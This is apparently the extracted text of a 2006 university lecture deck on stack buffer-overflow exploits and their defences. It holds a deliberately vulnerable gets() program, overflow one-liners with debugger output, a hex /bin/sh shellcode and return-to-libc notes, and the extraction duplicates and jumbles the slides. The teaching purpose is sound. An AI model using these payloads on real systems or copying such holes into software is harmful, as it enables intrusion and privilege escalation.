Exploits and Prevention What is an exploit?

What is an exploit?
Introduction
Stack Exploits
Prevention
Conclusion
Introduction
Stack Exploits
Prevention
Conclusion
1/22
2/22
Programs contain bugs.
These bugs could have security implications (vulnerabilities).
An exploit is a tool which exploits a vulnerability in order to
escalate privileges of attacker.
Exploits and Prevention
Skip the authentication in a program.
Andrea Bittau
Trick the passwd program to change someone else’s password.
Trick a web-server to execute arbitrary code.
December 6, 2006
Sample vulnerability
Wrong password
Script-kiddie definition
$ ./a.out
#
Sample vulnerability
Introduction
Stack Exploits
Prevention
Conclusion
Correct password
3/22
vuln.c
int check_auth() {
char pass[1024];
gets(pass);
return strcmp(pass, "lame") == 0;
Introduction
Stack Exploits
Prevention
Conclusion
3/22
vuln.c
int check_auth() {
char pass[1024];
gets(pass);
return strcmp(pass, "lame") == 0;
}
int main(int argc, char *argv[]) {
if (check_auth())
printf("w00t\n");
}
}
int main(int argc, char *argv[]) {
if (check_auth())
printf("w00t\n");
}
$ perl -e ‘ print "bla" ’ | ./vuln
$
$ perl -e ‘ print "lame" ’ | ./vuln
w00t
Sample vulnerability
Overflowing password
Sample vulnerability
Introduction
Stack Exploits
Prevention
Conclusion
Returning to printf
Introduction
Stack Exploits
Prevention
Conclusion
3/22
vuln.c
int check_auth() {
char pass[1024];
3/22
vuln.c
int check_auth() {
char pass[1024];
gets(pass);
return strcmp(pass, "lame") == 0;
gets(pass);
return strcmp(pass, "lame") == 0;
}
int main(int argc, char *argv[]) {
if (check_auth())
printf("w00t\n");
}
}
int main(int argc, char *argv[]) {
if (check_auth())
printf("w00t\n");
}
$ perl -e ‘ print "A" x 6666 ’ | ./vuln
Segmentation fault (core dumped)
$ perl -e ‘print pack("L",0x080485d8) x1337’ | ./vuln
w00t
Sample vulnerability
Executing int 3
Outline
Introduction
Stack Exploits
Prevention
Conclusion
3/22
vuln.c
int check_auth() {
char pass[1024];
4/22
1
Introduction
2
Stack Exploits
Hijacking program flow
Shellcode
3
Prevention
Stackguard
Non-executable memory
Address space layout randomization
4
Conclusion
gets(pass);
return strcmp(pass, "lame") == 0;
}
int main(int argc, char *argv[]) {
if (check_auth())
printf("w00t\n");
}
$ perl -e ‘print "\xCC" x 1000
. pack("L", 0xbfbfe410) x 123’ | ./vuln
Trace/BPT trap (core dumped)
Introduction
Stack Exploits
Prevention
Conclusion
Exploit overview
How serious are crashes?
Introduction
Stack Exploits
Prevention
Conclusion
Introduction
Stack Exploits
Prevention
Conclusion
5/22
$ perl -e ’ print "A" x 6666 ’ | ./vuln
Segmentation fault (core dumped)
$ gdb ./vuln vuln.core
...
#0 0x41414141 in ?? ()
(gdb) info r eip
eip 0x41414141 0x41414141
The canonical exploit forces a process to execute attacker’s code:
1
Inject attacker’s code (shellcode) into process’ memory.
2
Overwrite memory to try and change process’ execution flow.
3
Cause process to jump to (execute) shellcode.
6/22
The ASCII code for ’A’ is 0x41. We wrote 0x41414141 into
instruction pointer (EIP):
The virtual memory address 0x41414141 is not mapped
(segmentation fault).
Could write legal address into EIP and place shellcode there.
The stack
Stack overflows
Introduction
Stack Exploits
Prevention
Conclusion
Introduction
Stack Exploits
Prevention
Conclusion
7/22
The stack is a memory location:
vuln.c
Top of the stack is located at stack pointer (ESP).
Can push (add) and pop (remove) objects from stack.
Grows downwards. Push causes ESP to decrement.
Used for saving function return addresses.
Stack
a
2
ESP
8/22
int check_auth() {
char pass[1024];
gets(pass);
return strcmp(pass, "lame") == 0;
}
int main(int argc, char *argv[]) {
if (check_auth())
printf("w00t\n");
}
b
1
0 (memory address)
80485cc: call 804855c <check_auth>
80485d1: test %eax,%eax
...
Stack
ESP
Stack overflows
Stack overflows
Introduction
Stack Exploits
Prevention
Conclusion
Introduction
Stack Exploits
Prevention
Conclusion
8/22
vuln.c
int check_auth() {
char pass[1024];
Stack
Stack
vuln.c
int check_auth() {
char pass[1024];
80485d1
ESP
gets(pass);
return strcmp(pass, "lame") == 0;
80485d1
%ebp
gets(pass);
return strcmp(pass, "lame") == 0;
}
int main(int argc, char *argv[]) {
if (check_auth())
printf("w00t\n");
}
}
int main(int argc, char *argv[]) {
if (check_auth())
printf("w00t\n");
}
80485cc: call 804855c <check_auth>
80485d1: test %eax,%eax
...
Stack overflows
8/22
pass
ESP
804855c: push %ebp
...
804855f: sub $0x418,%esp
Hijacking execution flow
Introduction
Stack Exploits
Prevention
Conclusion
Introduction
Stack Exploits
Prevention
Conclusion
8/22
vuln.c
Stack
41414141
AAAA
gets(pass);
return strcmp(pass, "lame") == 0;
804855c: push %ebp
...
804855f: sub $0x418,%esp
We can make check auth return anywhere we like.
Make it skip the if statement.
int check_auth() {
char pass[1024];
}
int main(int argc, char *argv[]) {
if (check_auth())
printf("w00t\n");
}
9/22
AAAA. . .
ESP
vuln.c
if (check auth())
printf("w00t\n");
objdump -d vuln
80485cc: call
80485d1: test
80485d3: je
80485d5: sub
80485d8: push
80485dd: call
<check auth>
%eax,%eax
<main+0x35>
$0xc,%esp
$0x8048668
<printf>
$ perl -e ‘print pack("L",0x080485d8) x1337’ | ./vuln
w00t
Executing arbitrary code
Executing arbitrary code
Introduction
Stack Exploits
Prevention
Conclusion
Introduction
Stack Exploits
Prevention
Conclusion
10/22
10/22
Inject code in process and cause check auth to return to it.
Can store our code inside the pass buffer on the stack.
Need memory address of pass so we know where to return to.
Inject code in process and cause check auth to return to it.
Can store our code inside the pass buffer on the stack.
Need memory address of pass so we know where to return to.
stack
stack
Obtaining address of pass
$ ./vuln &
[1] 7654
$ gdb ./vuln 7654
(gdb) p &pass
$1 = (char (*)[1024]) 0xbfbfe410
bfbfe410
%ebp
pass
Obtaining address of pass
bfbfe410
%ebp
0xCC
$ ./vuln &
[1] 7654
$ gdb ./vuln 7654
(gdb) p &pass
$1 = (char (*)[1024]) 0xbfbfe410
What should our code be? int 3 (0xCC) will cause a trap.
$ perl -e ‘print "\xCC" x 1000
. pack("L", 0xbfbfe410) x 123’ | ./vuln
Trace/BPT trap (core dumped)
Shellcode
Morris worm (1988)
Introduction
Stack Exploits
Prevention
Conclusion
Introduction
Stack Exploits
Prevention
Conclusion
11/22
In general, what should the injected code do?
It should spawn a shell to allow launching other commands.
12/22
First exploit was by Robert Morris in the Internet Worm.
Exploited finger daemon (remote root).
Morris is now a professor at MIT (not because of worm).
shell.c
int main(int argc, char *argv[]) {
char *arg[] = { "/bin/sh", 0 };
execve(arg[0], arg, 0);
}
27 byte FreeBSD shellcode
31 c0 50 68 6e 2f 73 68 68 2f 2f 62 69 89 e3 50 53 89 e1 50 51 53
50 b0 3b cd 80
in.fingerd.c (from UCB 5.1 6/6/85)
int main(argc, argv)
char *argv[];
{
register char *sp;
char line[512];
...
gets(line);
...
return(0);
}
What about 2006?
Summary of exploits
Introduction
Stack Exploits
Prevention
Conclusion
Introduction
Stack Exploits
Prevention
Conclusion
13/22
14/22
Vulnerable programs can be “tricked” to execute arbitrary code.
Old school vulnerabilities still exist.
Skip authentication in SSH.
BID 21326, 10/11/06
Make web-server execute a shell.
ProFTPD MOD TLS Remote Buffer Overflow Vulnerability.
Make su execute a root shell.
static char *tls_x509_name_oneline(X509_NAME *x509_name) {
static char buf[256] = {’\0’};
...
memcpy(buf, data, datalen);
Exploits typically do this by:
1
Inject malicious code (shellcode) into process’ memory.
Memory must be executable.
2
Overflow a buffer to overwrite control information (e.g. saved
return address). It must be possible to overflow buffers.
3
Overwrite control information causing program to jump to
shellcode. Shellcode location must be predictable.
Attacker controls variables in red. BSS overflow.
My server darkircop.org is vulnerable. Have fun exploiting it.
Stackguard (1998)
Pro Police (2001)
Introduction
Stack Exploits
Prevention
Conclusion
Preventing the overflow
Effectiveness
Introduction
Stack Exploits
Prevention
Conclusion
15/22
16/22
Pro Police is a modern Stackguard. Run-time overhead: ≈ 8%
vuln.c
vuln() {
int canary;
char buf[512];
Install canary on each function call.
Stack
Check canary on each return.
%eip
%ebp
gets(buf);
check(&canary);
return;
buf
}
Compiler places a canary (random number) before control data.
Before return, check if canary changed (detect overflow).
Solves:
Overflows in the “forward” direction: need to overwrite canary
before EIP. UCB fingerd bug (Morris).
Does not solve:
Overflows in the opposite direction: overwrite EIP and stop
before hitting canary. Apache chunked encoding bug.
Format string bugs can write anywhere without having to
contiguously overflow. WU-ftpd site exec bug.
Heap overflows. Too many to list.
Non-executable stack (1997)
Preventing shellcode execution
Non-executable stack (1997)
Introduction
Stack Exploits
Prevention
Conclusion
Preventing shellcode execution
Introduction
Stack Exploits
Prevention
Conclusion
17/22
Shellcode is usually placed on the stack.
17/22
Shellcode is usually placed on the stack.
Make stack non-executable and shellcode cannot be run.
Make stack non-executable and shellcode cannot be run.
Solar Designer’s original segmentation patch for IA-32
Solar Designer’s original segmentation patch for IA-32
CS base
CS limit
DS base
DS limit
CS base
CS limit
DS base
DS limit
Code Segment: where CPU reads instructions.
Split segments and mark only CS as executable.
Data Segment: where data (such as stack) is read.
50% virtual memory overhead. Can only use 1.5GB.
Normally they overlap and share same memory.
No run-time overhead—hardware enforces protection.
Modern CPUs (IA-64) have NX-bit in page tables.
Make memory non-executable at a page granularity (≈4KB).
OpenBSD W⊕X
Effectiveness
Randomized memory
Introduction
Stack Exploits
Prevention
Conclusion
Preventing the jump to (shell)code
Introduction
Stack Exploits
Prevention
Conclusion
18/22
But what if attacker puts shellcode elsewhere (e.g. heap)?
19/22
Attacker usually needs address of shellcode (need to jump to it).
Mark memory either Writable (x)or eXecutable—never both.
Randomize the process’ address space at run-time.
If attacker writes shellcode, she cannot execute it.
Cannot calculate address of shellcode for jumping there.
Suppose a portion of the address space x is not random:
After his patch, Solar Designer published return-to-libc exploit.
Instead of injecting our own code and returning to it, cause a
return into code already present, e.g. libc’s system().
Can pass, on stack, “/bin/sh” as argument to system().
W⊕X only solves (due to ret-to-libc):
Exploits which cannot control stack. OpenSSH
challenge-response heap bug.
Can put shellcode on stack. ESP will point to it.
Can find “jmp %esp” (0xffe4) in x and jump there.
Thus, to be effective, all memory has to be randomized.
Linux’s PaX randomizes the whole process space:
Random stack, heap, bss, and data base.
Random mmap(). Libraries are at random locations.
.text is position independent code (relocatable code).
PaX
Effectiveness
Summary of solutions
Introduction
Stack Exploits
Prevention
Conclusion
Introduction
Stack Exploits
Prevention
Conclusion
20/22
21/22
1
Pro Police. Prevent overflow.
Defeated by bugs that allow writing in specific locations.
Memory overhead: internal fragmentation.
2
Random gaps between objects, e.g. as returned by mmap().
Non-executable memory. Prevent shellcode execution.
Defeated by return-to-libc. Useful when no control of stack.
3
Does not solve:
Defeated by memory leaking bugs or brute-force.
Useful to prevent return-to-libc.
Exploits that do not require addresses. OpenSSH
challenge-response bug.
Bugs that can leak information. Bind TSIG & infoleak bug.
Effectiveness in practice
Format strings can leak memory. WU-ftpd site exec bug.
Vulnerability
UCB fingerd
netkit telnetd AYT
OpenSSH challenge-response
WU-ftpd site exec
Apache chunked encoding
Processes where you can systematically brute-force (e.g. fork
on each session). Apache chunked encoding bug.
Conclusion
Introduction
Stack Exploits
Prevention
Conclusion
22/22
Exploits:
Exploit software bugs (vulnerabilities) for privilege escalation.
They exist in practice, even today, and are a serious problem.
Solutions:
Need several solutions to be effective—no single magic wand.
Even when using all solutions, problems may still remain.
What about all those WWW exploits, e.g. PHP bugs?
Do they care about NX or random memory?
Randomized memory. Prevent jumping to known locations.
Description
Forward stack
Heap
Integer & heap
Format string
Backward stack
Minimum required
PPolice or Rand-Mem
Rand-Mem
NX-Mem
Unsolved
Unsolved